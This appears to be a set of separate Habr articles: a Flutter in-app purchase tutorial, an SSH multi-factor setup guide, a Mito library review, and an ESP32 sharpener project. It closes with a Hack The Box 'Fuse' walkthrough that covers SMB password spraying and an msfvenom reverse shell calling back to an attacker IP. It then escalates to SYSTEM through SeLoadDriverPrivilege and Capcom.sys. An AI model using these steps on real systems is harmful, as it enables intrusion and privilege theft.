await \_inAppPurchase.queryProductDetails(productsIds);
if (productDetailResponse.error != null ||
productDetailResponse.productDetails.isEmpty) {
return [];
}
return productDetailResponse.productDetails;
}
```
После вызова этого метода мы получим список продуктов в таком объекте.
```
class ProductDetails {
/// Creates a new product details object with the provided details.
ProductDetails({
required this.id,
required this.title,
required this.description,
required this.price,
required this.rawPrice,
required this.currencyCode,
this.currencySymbol = '',
});
/// The identifier of the product.
///
/// For example, on iOS it is specified in App Store Connect; on Android, it is specified in Google Play Console.
final String id;
/// The title of the product.
///
/// For example, on iOS it is specified in App Store Connect; on Android, it is specified in Google Play Console.
final String title;
/// The description of the product.
///
/// For example, on iOS it is specified in App Store Connect; on Android, it is specified in Google Play Console.
final String description;
/// The price of the product, formatted with currency symbol ("$0.99").
///
/// For example, on iOS it is specified in App Store Connect; on Android, it is specified in Google Play Console.
final String price;
/// The unformatted price of the product, specified in the App Store Connect or Sku in Google Play console based on the platform.
/// The currency unit for this value can be found in the [currencyCode] property.
/// The value always describes full units of the currency. (e.g. 2.45 in the case of $2.45)
final double rawPrice;
/// The currency code for the price of the product.
/// Based on the price specified in the App Store Connect or Sku in Google Play console based on the platform.
final String currencyCode;
/// The currency symbol for the locale, e.g. $ for US locale.
///
/// When the currency symbol cannot be determined, the ISO 4217 currency code is returned.
final String currencySymbol;
}
```
Так продукты получить получили, но надо теперь как-то их купить.
Тут я использую класс прослойку для хендлинга всех движений со стором. Дело вот в чем после вызова метода о покупке нам надо завершить покупку после. проверки подлинности платежа на бэке! Если мы не завершим покупку деньги вернуться покупателю через 3 дня. И транзакция будет считаться отмененной.
Для этого мы создаем класс который хэндлит все стейты платежей:
```
class PurchaseDetailsStreamSubscription {
final InAppPurchaseService inAppPurchaseService = Get.find();
final Function()? onPending;
final Function(PurchaseDetails purchaseDetails)? onPurchased;
final Function()? onError;
final Function()? onRestored;
final Function()? onCanceled;
StreamSubscription>? \_streamSubscription;
PurchaseDetailsStreamSubscription({
this.onPending,
this.onPurchased,
this.onError,
this.onRestored,
this.onCanceled,
});
Future init() async {
\_streamSubscription = inAppPurchaseService.getStoreSubscription().listen(
(List events) {
Future.forEach(
events,
(PurchaseDetails purchaseDetails) async {
if (purchaseDetails.pendingCompletePurchase) {
await inAppPurchaseService.completePurchase(purchaseDetails);
}
switch (purchaseDetails.status) {
case PurchaseStatus.pending:
onPending?.call();
break;
case PurchaseStatus.purchased:
onPurchased?.call(purchaseDetails);
break;
case PurchaseStatus.error:
onError?.call();
break;
case PurchaseStatus.restored:
onRestored?.call();
break;
case PurchaseStatus.canceled:
onCanceled?.call();
break;
}
},
);
},
);
}
void close() {
\_streamSubscription?.cancel();
}
}
```
Далее создаем еще два метода в нашем сервисе для покупок.
```
Future buyItemInStore(ProductDetails product) async {
final PurchaseParam purchaseParam = PurchaseParam(productDetails: product);
return InAppPurchase.instance.buyConsumable(purchaseParam: purchaseParam);
}
Future completePurchase(PurchaseDetails purchaseDetails) async {
await InAppPurchase.instance.completePurchase(purchaseDetails);
}
```
Первый как понятно инициализирует покупку на стороне платформы, второй завершает покупку.
Далее в BloC или где вам там удобнее инициализируем наш класс прослойку и передаем в него такое
```
purchaseDetailsStreamSubscription = PurchaseDetailsStreamSubscription(
onCanceled: closeLoader,
onError: closeLoader,
onPurchased: (PurchaseDetails purchaseDetails) async {
closeLoader();
try {
// тут мы проверяем наш платеж на стороне сервера передав данные о платеже ,
// и если все ок завершаем покупку
final bool res = await transactionRepository
.createTransaction(purchaseDetails.verificationData.serverVerificationData);
if (res) {
await inAppPurchaseService.completePurchase(purchaseDetails);
await updateBalance();
}
} catch (_, __) {}
},
)..init();
```
Все можем пробовать совершить покупку просто вызвав этот метод!
```
inAppPurchaseService.buyItemInStore(item);
```
С подписками история такая же история, а вот с не расходуемыми продуктам надо вызывать метод .
```
buyNonConsumable
```
Как-то так! Всем спасибо за внимание!
P.S. если что не так, поправьте плиз в комментах!) спасибо) | https://habr.com/ru/post/709400/ | null | ru | null |
# MFA-protected SSH access to Ubuntu servers with LDAP or Azure AD Credentials and hardware or software tokens
SSH, the secure shell, is often used to access remote Linux systems. Because we often use it to connect with computers containing important data, it’s recommended to add another security layer, such as the second factor.
In this guide, we will show how to leverage the TOKEN2 TOTPRadius appliance to organize SSH access to your Ubuntu server using local LDAP or Azure AD as the primary authentication factor, and TOTP factor from TOTPRadius as the secondary factor. The secondary authentication factors available with TOTPRadius can be a mobile authentication app or a hardware token.
> Token2 TOTPRadius provides the RADIUS RFC-2865 for TOTP RFC-6238 based authentication. With TOTPRadius you can integrate a large variety of third-party products and systems with multifactor authentication. A number of enterprise products and services like VPNs, Citrix XenApp/XenDesktop, VMWare View, and many others provide support for RADIUS servers to validate the second factor of user authentications. Additionally, the TOTPRadius appliance is providing RESTful API for second-factor authentication and enrollment (including self-service enrollment where possible). This allows implementing a fully on-premises secure and user-friendly two-factor authentication supporting RADIUS and LDAP protocols together with HTTP API with one appliance.
>
>
**Requirements**
* A computer running Ubuntu 16.04 LTS or above
* A configured SSH connection or console access to the Ubuntu machine
* A fully functional TOTPRadius appliance with available user licenses (the appliance comes with 5 free user licenses)
* A phone running Android or iOS or a hardware token enrolled in TOTPRadius
* Active Directory on-premises or Azure AD configured to be used as the primary authentication method in TOTPRadius
**Install and configure PAM Radius for Ubuntu**
Login to the Ubuntu machine using an account with administrative privileges. Then, install the module using the command below
```
$ sudo apt-get install libpam-radius-auth
```
Open the configuration file and add the RADIUS server configuration
```
sudo nano /etc/pam_radius_auth.conf
```
Add the server as shown in the example below, where 192.168.1.1 is the IP address of your TOTPRadius appliance and shared\_secret should match the RADIUS secret (to be configured in the next chapter)
```
# server[:port] shared_secret timeout (s)
192.168.1.1 hwxa30lqwcr 10
```
Configure the SSH server to use this PAM module as the authentication source. Open the /etc/pam.d/sshd file
```
sudo nano /etc/pam.d/sshd
```
And add the following line
```
auth sufficient pam_radius_auth.so
```
Make sure this is added just before the following line
```
@include common-auth
```
The resulting file should start with the lines similar to the shown below
```
# PAM configuration for the Secure Shell service
auth sufficient pam_radius_auth.so
# Standard Un*x authentication.
@include common-auth
```
To finalize the configuration on the Ubuntu side, you have to create local users with usernames matching the users in the LDAP or Azure AD. Please note that this is a technical restriction of the PAM module. The module can only forward the authentication to TOTPRadius, it is not allowed to create user accounts that do not exist in the system for obvious security reasons. Please note that the password set at this stage can later be removed (alternately, you can generate any random complex password and do not need to record it as it will not be used). If you want to make sure no authentication with a local password is possible (even theoretically), you can specify --disabled-password argument
```
$ sudo adduser --disabled-password jsmith
```
You can also pre-add the users from your Azure Directory in bulk using a script similar to below:
```
sudo adduser --disabled-password --gecos "" user1
sudo adduser --disabled-password --gecos "" user2
sudo adduser --disabled-password --gecos "" user3
...
```
*--gecos GECOS Set the gecos field for the new entry generated. adduser will not ask for further information if this option is given.*
**Configure TOTPRadius**
TOTPRadius will be used as the only authentication method for SSH access. Therefore, the SSH login process will require supplying the username and both the primary and secondary authentication factors in the password prompt. The password supplied by the user is expected to contain both the AD or Azure AD password and the 6 digits OTP. The supplied password is parsed and the OTP gets verified locally, and the AD password is checked via AD or Azure AD using the RPOC method. Please note that the Azure AD functionality is available with TOTPRadius v0.2.7 or newer.
The guide below will show using *on-premises Active Directory* as the primary authentication source (LDAP proxy mode) as an example. Azure AD can also be enabled and used similarly.
► In Main settings, set the Radius secret to the one used in the PAM configuration above
► In Main settings, set 'Allow initial login' value to zero (having initial login allowance is used for self-enrollment, which is not required in this configuration)
► [optional] In the Endpoint IP and subnet fields specify the parameters of your Ubuntu server
► Set LDAP as enabled
► Specify the LDAP server IP/FQDN and the format of the username (%username%@domain.local or DOMAIN\%username% format, where "DOMAIN" or "domain.local" need to be replaced with the domain name or removed if needed )
► If you decide to allow self-enrollment, make sure "Allow ldap enrollment" parameter is enabled. In the same section, you can also allow re-enrollment and modify the intro text of the LDAP web enrollment page
**Generate or set the second factor for the user on the TOTPRadius appliance**
The second factor for the user can be added in two ways:
1) **By self-enrollment.**
Users can enroll their hardware tokens themselves using link http://(totpradius server\_ip)/ldap-enroll :
Self Enrollment is possible using any TOTP app (such as Google Authenticator or Microsoft Authenticator). If you wish to use our programmable hardware, you can burn the secret onto the hardware token by scanning the QR code using one of the NFC Burner apps.
2)**Via the TOTPRadius admin interface**
Login to TOTPRadius admin interface, and click on New User:
You should now be able to log in using usernames which should match the local user created in Ubuntu in the previous section and the password should look similar to the one below:
`your_AD_passwordOTP_from_the_App`
so, for example, if your AD password is *P@ssword* and the app generates *556655*, you should enter ***P@ssword556655*** into the password prompt. | https://habr.com/ru/post/586902/ | null | en | null |
# Mito — быстрый старт на Python для тех, кто привык к Excel
Mito — это графический интерфейс для быстрой работы с наборами данных, который по вашим действиям создаёт код на Python. Даже если вы работаете с Python много лет, наблюдая за кодом Mito, вы можете узнать что-то новое, при этом понятный код на много строк можно получить всего за несколько кликов. Подробности рассказываем, пока у нас начинается [флагманский курс Data Science](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_161221&utm_term=lead).
---
Пару недель назад я [написал](https://towardsdatascience.com/bamboolib-one-of-the-most-useful-python-libraries-you-have-ever-seen-6ce331685bb7) статью о Bamboolib, которая стала популярной. Её очень хорошо приняли: десятки тысяч просмотров за первую неделю. После я хотел перейти от библиотек Python к другим темам, связанным с наукой о данных, если не найду что-то впечатляющее. И нашёл Mito. Я уже слышал о ней, но проверить так и не довелось. Недавно решил попробовать, и она впечатляет!
Mito экономит время
-------------------
Mito и Bamboolib имеют много общего, например графический интерфейс, облегчающий выполнение задач. Обе библиотеки создают код на Python, который можно копировать и использовать везде, даже если Mito не установлена.
Установка Mito
--------------
Процесс установки очень прост. Ради безопасности рекомендую создать среду для Mito. На сайте Mito показано, как это сделать на Python. Для этого копируем и вставляем код в терминал.
Для Mac:
```
python3 -m venv mitoenv
source mitoenv/bin/activate
python -m pip install mitoinstaller
python -m mitoinstaller install
```
Для Windows:
```
python3 -m venv mitoenv
mitoenv\Scripts\activate.bat
python -m pip install mitoinstaller
python -m mitoinstaller install
```
Решили использовать виртуальную среду Conda? Тогда скопируйте и вставьте этот код:
```
conda create -n mitoenv python=3.8
conda activate mitoenv
python -m pip install mitoinstaller
python -m mitoinstaller install
```
Теперь всё готово. Внимание: Mito создаст файл JupyterLab notebook со стартовым кодом. JupyterLab notebook можно вызвать, набрав в терминале `jupyter lab`. Займёмся делом.
Первые шаги
-----------
Импортируем библиотеку строкой `import mitosheet`, и запускаем её командой `mitosheet.sheet()`. Вот результат:
Теперь импортируем набор данных. Нажимаем `import` и находим файл. Для этого демо воспользуемся набором [Top Video Games 1995–2021 Metacritic](https://www.kaggle.com/deepcontractor/top-video-games-19952021-metacritic) на Kaggle. Mito покажет, что можно делать с его помощью:
Подготовка данных
-----------------
### Изменение типа данных
Изменить тип данных в Mito проще простого. Нажимаем на тип данных прямо под именем столбца и выбираем новый тип. В этом примере я изменю строку на дату и время. Указывающее на тип строки сочетание *Abc* изменится на значок календаря.
Здесь нельзя выбрать формат даты и времени, поэтому пишу специально для разработчиков Mito: было бы неплохо её добавить. И похоже, что столбец `user_review` — это строка. Исправим тип на число с плавающей точкой:
В ячейку под графическим интерфейсом добавилась строка кода. Это соответствующие вашим действиям комментарии и код, его удобно передавать людям, у которых Mito не установлена.
Bamboolib автоматически распознаёт, что у столбца `user_review` должен быть тип числа с плавающей точкой, а не целое число. Mito этого не делает. Поэтому, если попытаться изменить столбец с цифрами на целое число, возникнет ошибка. Но это проблема небольшая.
### Переименование столбцов
Поменять имя столбца тоже просто. Нажимаем на имя столбца и редактируем. Когда-то я работал над проектом, где пришлось менять имена 200 столбцов. Это было очень долго. Сколько времени я сэкономил бы с Mito!
### Удаление столбцов
Выбираем столбец и нажимаем на `DEL COL`. Вот и всё. Есть проекты, где надо удалять несколько столбцов. В Mito это делается за пару кликов, при этом имя каждого столбца вводить не нужно.
### Отмена действий
Mito настолько упрощает удаление столбцов, что можно удалить их больше, чем надо. Просто нажимаем `UNDO` и отменяем любые действия. Перестарались с `UNDO`? Нажимаем на `REDO` и отменяем отмену. Извините, я должен был это сказать.
### Работа с несколькими фреймами одновременно
Ещё одна очень крутая особенность — одновременная работа с несколькими фреймами данных. Есть два способа. Нажимаем `IMPORT` и загружаем файлы с компьютера или, если фреймы данных есть в блокноте, добавляем их имена в скобках:
```
mitosheet.sheet(df1, df2)
```
Для примера я создал два фрейма данных: один с `user_review > 9`, другой с `user_review < 9`.
Преобразование данных
---------------------
### Фильтрация данных
Нажимаем на значок воронки и выбираем, что фильтровать. В примере ниже я фильтрую игры, в которых `user_review` больше 9,5. Можно создать группы фильтров с выбором нескольких условий.
### Сводная таблица
Даже у профессионалов группировка данных в Python может занять какое-то время. К примеру, очень полезна для анализа данных функция `groupby()`. При этом создать один-два `groupby()` — ещё куда ни шло. Но делать это целый день муторно.
В Mito опции `groupby()` нет, зато есть `pivot_table()`, которая работает иначе. А именно:
* Функция `groupby()` создаст таблицы, где заданные измерения помещаются в столбцы, а строки создаются для каждой комбинации этих измерений.
* Функция `pivot_table()` позволяет объединять данные в большее количество форм.
Создадим сводную таблицу нажатием на PIVOT. Выберем столбцы, по которым нужна группа, и статистику. Вот и всё! В примере ниже я группирую данные по платформе, а затем получаю среднее значение `meta_score`, счётчик имён и среднее значение `user_review`:
Вот код, созданный Mito для нашей `pivot_table()`:
```
# Pivoted all_games_csv into df2
unused_columns = all_games_csv.columns.difference(set(['platform']).union(set([])).union(set({'name', 'user_review', 'meta_score'})))
tmp_df = all_games_csv.drop(unused_columns, axis=1)
pivot_table = tmp_df.pivot_table(
index=['platform'],
values=['meta_score', 'name', 'user_review'],
aggfunc={'meta_score': ['mean'], 'name': ['count'], 'user_review': ['mean']}
)
```
При этом группа находится в новой вкладке, поэтому можно сравнить результаты:
### Создание условных столбцов
Создадим новый столбец, указывающий, превышает ли значение столбца `user_review` 9. Нажимаем на любое значение в столбце `user_review`, затем на `ADD COL` и набираем `=IF(user_review,'Yes', 'No')`.
Очень похоже на Excel:
Вот созданный Mito код:
```
all_games_csv.rename(columns={"new-column-1inv": "above_9"}, inplace=True)
all_games_csv['above_9'] = IF(all_games_csv['user_review'] > 9, 'Yes','No')
```
Я не знал, что можно использовать `IF`, как это делается в коде выше. Обычно я работаю с `lambda()`.
Просмотр данных
---------------
Просмотр данных интуитивно понятен. Нажимаем на столбец, затем на значок фильтра и на `Summary`. Здесь показано распределение данных и кое-что из описательной статистики: среднее значение, стандартное отклонение, количество `null` и т. д.:
Это применимо для числовых и категориальных значений:
Визуализация данных
-------------------
Можно создавать простые графики и генерировать соответствующий код. Для этого нажимаем на `GRAPH`, затем выбираем тип графика и его оси:
На сегодня всё. Поработать с Mito и научиться решать проблемы бизнеса вы сможете на наших курсах:
* [Профессия Data Scientist (24 месяца)](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_161221&utm_term=conc)
* [Профессия Data Analyst (10 месяцев)](https://skillfactory.ru/data-analyst-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=analytics_dapr_161221&utm_term=conc)
[Узнайте подробности](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_161221&utm_term=conc) акции.
Другие профессии и курсы**Data Science и Machine Learning**
* [Профессия Data Scientist](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_161221&utm_term=cat)
* [Профессия Data Analyst](https://skillfactory.ru/data-analyst-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=analytics_dapr_161221&utm_term=cat)
* [Курс «Математика для Data Science»](https://skillfactory.ru/matematika-dlya-data-science#syllabus?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mat_161221&utm_term=cat)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/matematika-i-machine-learning-dlya-data-science?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_matml_161221&utm_term=cat)
* [Курс по Data Engineering](https://skillfactory.ru/data-engineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dea_161221&utm_term=cat)
* [Курс «Machine Learning и Deep Learning»](https://skillfactory.ru/machine-learning-i-deep-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mldl_161221&utm_term=cat)
* [Курс по Machine Learning](https://skillfactory.ru/machine-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_ml_161221&utm_term=cat)
**Python, веб-разработка**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_161221&utm_term=cat)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_pws_161221&utm_term=cat)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fr_161221&utm_term=cat)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_webdev_161221&utm_term=cat)
**Мобильная разработка**
* [Профессия iOS-разработчик](https://skillfactory.ru/ios-razrabotchik-s-nulya?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_ios_161221&utm_term=cat)
* [Профессия Android-разработчик](https://skillfactory.ru/android-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_andr_161221&utm_term=cat)
**Java и C#**
* [Профессия Java-разработчик](https://skillfactory.ru/java-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_java_161221&utm_term=cat)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer-testirovshik-po?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_qaja_161221&utm_term=cat)
* [Профессия C#-разработчик](https://skillfactory.ru/c-sharp-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cdev_161221&utm_term=cat)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-razrabotchik-na-unity-i-c-sharp?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_gamedev_161221&utm_term=cat)
**От основ — в глубину**
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algoritmy-i-struktury-dannyh?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_algo_161221&utm_term=cat)
* [Профессия C++ разработчик](https://skillfactory.ru/c-plus-plus-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cplus_161221&utm_term=cat)
* [Профессия Этичный хакер](https://skillfactory.ru/cyber-security-etichnij-haker?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_hacker_161221&utm_term=cat)
**А также**
* [Курс по DevOps](https://skillfactory.ru/devops-ingineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_devops_161221&utm_term=cat)
* [Все курсы](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_161221&utm_term=cat) | https://habr.com/ru/post/595807/ | null | ru | null |
# Work in Progress: самодельный микро ЧПУ-робот для заточки фрез и свёрл
[](https://habr.com/ru/company/ruvds/blog/668414/)
В программировании достаточно много прикладных задач, которые напрямую связаны с разработкой физических устройств, на основе микроконтроллеров.
В этой статье мы поговорим об одной моей задумке, которую я вынашиваю достаточно давно и приступил в данный момент к её реализации — ЧПУ робот для заточки фрез и свёрл.
Сразу скажу, что ничего подобного (несмотря на достаточно напряжённые поиски) — я никогда не встречал. Ни в российском сегменте интернета, ни в мировом. Так что, не удивлюсь, если подобный аппарат, с теми характеристиками, которые рассматриваются ниже — будет первым в мире!
Уже достаточно давно меня привлекает область программирования, которая позволяет создавать нечто ощутимое, так как в результате создаётся реальное физическое устройство, и ты можешь потрогать руками «результат работы своего кривого кода» **:-В**.
В тех областях, где происходит всё практически полностью виртуально, — видоизменяются какие-то переменные, происходят какие-то процессы, что-то куда-то пересылается и всё это виртуально, скрыто за экраном, — мне в этом не хватает жизни как бы, что ли… Слишком всё виртуально. Хочется, чтобы концепция вышла в жизнь и ожила…
Некоторое время назад, мне пришла в голову идея создать некое ЧПУ устройство, которое позволит достаточно легко и быстро, с повторяемым качеством, затачивать свёрла и фрезы.
Почему мне пришла эта идея: так как у меня есть свой личный токарный станок по металлу (ТВ-16), мне периодически приходится заниматься заточкой указанных металлорежущих инструментов. Несмотря на то что я, в принципе, умею это делать, результат отличается «разной степенью кривизны» и гуляет от раза к разу. Кроме того, это достаточно муторная и сложная работа, требующая максимальной собранности и внимательности.
Я подумал: «программисты мы или где?!»
Человек, который плохо знает эту сферу, может, по своему незнанию, сказать «иди купи с али трёхкопеечную точилку для свёрл и успокойся!»
И тут ему придётся ответить: тю! Свёрла ещё полбеды, — а вот если мы обратимся к фрезам и вопросу их заточки: каждого пера на конце, а также боковой поверхности ленточки — «вечер резко перестанет быть томным»:
Заточить подобное, да ещё с повторяемым результатом, да ещё и когда они разного диаметра и типа… Ну, в общем, вы поняли.
В результате долгих размышлений родилась следующая концепция:
Это должно быть некое компактное, недорогое устройство, которое может эффективно и быстро точить свёрла практически любого диаметра, а также фрезы. Так как задача эта достаточно ёмкая и требующая индивидуального подхода к каждому типу свёрл и фрез, я решил пока ограничиться только теми инструментами, которые в своём сечении не превышают приблизительно 30-35 мм. Почему так: я полагаю, что металлорежущие инструменты более большого диаметра используются, как правило, на больших предприятиях, где для правки подобного инструмента имеется вся необходимая инфраструктура.
Малый размер подобного устройства даёт нам хорошие «плюшки»:
* легко хранить и переносить от места к месту (это не огромная «коряга», весом в 5-7 кг и занимающая существенное место и по сути, являющаяся отдельным специальным станком),
* можно использовать маленькие недорогие электроприводы, которые к тому же являются достаточно энергосберегающими (например, всё устройство можно запитать от компактных литийионных аккумуляторов),
* расходные материалы (заточные диски) к подобному ЧПУ-роботу будут тоже достаточно недорогими и маленькими в размерах.
После ряда размышлений я решил озвучить эту идею на одном из самых известных российских форумов по металлообработке. После чего мне было сказано, что если я выпущу подобное недорогое компактное ЧПУ устройство, — то это на корню обрушит весь рынок заточных станков, что вызовет в мой адрес крайнее неудовольствие «больших дяденек», связанных с этим бизнесом.
Я адекватно оценил сказанное, в ужасе забился далеко под кровать, откуда и пишу эту статью (хе-хе).
**Почему подобное устройство до сих пор не было создано?**
На мой взгляд, это связано с тем, что редко когда люди могут объединять не связанные напрямую друг с другом сферы. Причём это отмечал, насколько мне известно, ещё и сам Эйнштейн, долгое время проработавший в патентном бюро, — потому что люди, как правило, сидят внутри своей профессии, редко бросая взгляд на соседние сферы, которые не пересекаются непосредственно с их профессией.
В то же время существует довольно малое количество людей, которые могут объединять напрямую не связанное между собой. И именно такие люди и творят историю и создают поразительные вещи.
Видимо, до того как я обратил внимание на этот момент, никто из программистов и не думал создать что-то подобное (дешёвое и простое!) в сфере металлообработки (я это так подробно расписал не для того, чтобы похвалить самого себя, а просто попытался объяснить настоящее положение вещей и почему оно именно такое).
Давным-давно ~~в далёкой-далёкой галактике~~, на одном из далёких форумов, где я учился в своё время 3D моделированию и рендерингу (был такой период у меня в жизни), была рубрика, которая носила название **WIP (Work In Progress)**.
Рубрика пользовалась живым интересом со стороны форумчан, так как в ней люди выкладывали свои работы, не по принципу «как нарисовать сову: рисуем два круга — далее дорисовываем остаток совы», а поэтапно выкладывали весь процесс создания финальной работы, все свои сомнения, творческие метания и так далее. В процессе люди получали достаточно большой фидбэк, что позволяло соответствующим образом отточить финальный результат. Так как обратная связь — это всегда очень хорошо…
И поэтому я решил сотворить нечто подобное, и периодически выкладывать, то, что получается у меня с этим проектом. Я думаю, что это будет интересно ;-). Кроме того, возможно, даже кто-то опередит меня – нисколько не буду против :-)
В данный момент, часть требующихся для проекта деталей уже имеется у меня на руках, а часть — едет с известного китайского магазина. И пока они едут, мы можем обсудить этот проект с разных сторон…
Так как в программировании одной из главных концепций, которая постоянно постулируется, является декомпозиция задачи, которая подразумевает разбиение основной задачи на более мелкие неделимые подзадачи, я попробую также разделить стоящий передо мной вопрос на отдельные задачи и высказать мысли насчёт путей достижения целей для каждого из задач. Буду рад любым вашим встречным идеям и корректировкам моих мыслей!
Начнём с самой платформы: в качестве неё я планирую использовать свою любимую esp32. Почему именно её: она достаточно мощная, недорогая, предоставляет богатые возможности по программированию и беспроводным интерфейсам.
В качестве схемы взаимодействия предполагаю использовать локальную wi-fi сеть, которая строится между esp32 и смартфоном. В этой сети микроконтроллер выступает в роли клиента, который подключается к запущенной на смартфоне точке доступа. Для этого клиент использует следующий код:
```
#include
// SSID и пароль WiFi-сети:
const char\* ssid = "название вашей сети";
const char\* password = "пароль вашей сети";
void setup() {
Serial.begin(115200);
WiFi.begin(ssid, password);
while (WiFi.status() != WL\_CONNECTED) {
delay(1000);
Serial.println("Connecting to WiFi...");
}
Serial.println("WiFi connected");
}
```
После создания подключения, микроконтроллер становится доступным по ip-адресу и, соответственно, к нему можно обращаться и он выводит на экран подключившегося смартфона начальную страничку для ввода параметров.
В качестве кода-заготовки, на основе которого я буду делать свою страничку для ввода параметров, хочу взять [вот отсюда](https://randomnerdtutorials.com/esp32-wi-fi-manager-asyncwebserver/), вот этот код:
*Картинка: [www.randomnerdtutorials.com](https://randomnerdtutorials.com/esp32-wi-fi-manager-asyncwebserver/)*
```
ESP Wi-Fi Manager
ESP Wi-Fi Manager
=================
SSID
Password
IP Address
Gateway Address
``` | https://habr.com/ru/post/668414/ | null | ru | null |
# Hack The Box. Прохождение Fuse. RPC, принтеры и опасная привилегия SeLoadDriverPrivilege
Продолжаю публикацию решений, отправленных на дорешивание машин с площадки [HackTheBox](https://www.hackthebox.eu).
В данной статье создадим словарик паролей из косвенной информации о пользователях, посмотрим на информацию о принтерах с точки зрения RPC и повышаем привилегии благодаря SeLoadDriverPrivilege.
**Организационная информация**
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал [канал в Telegram](https://t.me/RalfHackerChannel) и [группу для обсуждения любых вопросов](https://t.me/RalfHackerPublicChat) в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации [рассмотрю лично и отвечу всем](https://t.me/hackerralf8).
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
-----
Данная машина имеет IP адрес 10.10.10.193, который я добавляю в /etc/hosts.
```
10.10.10.193 fuse.htb
```
Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:
```
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
```
Давайте добавим FQDN имя машины в /etc/hosts.
```
10.10.10.193 fuse.fabricorp.local
```
И на хосте работает веб-сервер. Давайте посмотрим, что там есть.
Нас встречает сайт с принтерами и мы можем скачать 4 документа, что давайте и сделаем.
Так как больше никаких векторов не находим, давай отметим для себя имена пользователей.
```
cat *.csv | grep 2020 | cut -d ',' -f 2 | sort | uniq
```
Также создадим список паролей из информации в документах.
```
cat *.csv | grep 2020 | cut -d ',' -f2,5-7 | tr -d '"' | tr '.' '\n' | tr ',' '\n' | tr -d ' ' | tr '-' '\n' | sort | uniq | tail -n+4
```
И теперь попробуем брутить, к примеру SMB.
```
cme smb 10.10.10.193 -u users.txt -p pass.txt --continue-on-success
```
И есть сообщение, что пароль для пользователя должен быть изменен.
Entry point
-----------
Давайте это и сделаем. Зададим тот же пароль.
```
smbpasswd -r 10.10.10.193 -U bhult
```
Но у нас есть несколько секунд, и пароль становится недействительным.
Поэтому выполняем две команды в связке.
```
smbpasswd -r 10.10.10.193 -U bhult ; rpcclient -U bhult 10.10.10.193
```
Давайте просмотрим всех пользователей, сделаем этот с помощью RPC.
USER
----
И находим интересного пользователя. Учитывая все тему с принтерами, которых уже длится все время, давайте посмотрим принтеры.
И находим пароль. Создадим список из уже действительных пользователей.
А вот теперь попробуем данный пароль для всех пользователей.
```
sudo cme smb 10.10.10.193 -u users.txt -p '$fab@s3Rv1ce$1' --continue-on-success
```
И находим двух пользователей. И у нас получается подключиться к WinRM и забрать первый флаг.
ROOT
----
Посмотрим информацию о текущем пользователе.
И наблюдаем привилегию SeLoadDriverPrivilege. И тут есть вектор LPE. Нам понадобятся следующее ПО: [Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys), [EoPLoadDriver](https://github.com/IceL0rd4Real/EoPLoadDriver) и шелл meterpreter. Давайте создадим его.
```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.15.160 LPORT=4321 -f exe -o e.exe
```
И активируем листенер. Загрузим все на хост и запустим эксплоит meterpreter.
```
handler -p windows/x64/meterpreter/reverse_tcp -H 10.10.15.160 -P 4321
```
Теперь нужно загрузить драйвер.
```
.\eoploaddriver.exe System\CurrentControlSet\custom C:\Users\svc-print\Documents\Capcom.sys
```
И перед запуском эксплоита нужно немного его поправить. Давайте закомментируем следующие строки в файле /usr/share/metasploit-framework/modules/exploits/windows/local/capcom\_sys\_exec.rb.
И выполняем.
Как результат, создана новая сессия от имени SYSTEM. Вот к чему может привести привилегия SeLoadDriverPrivilege.
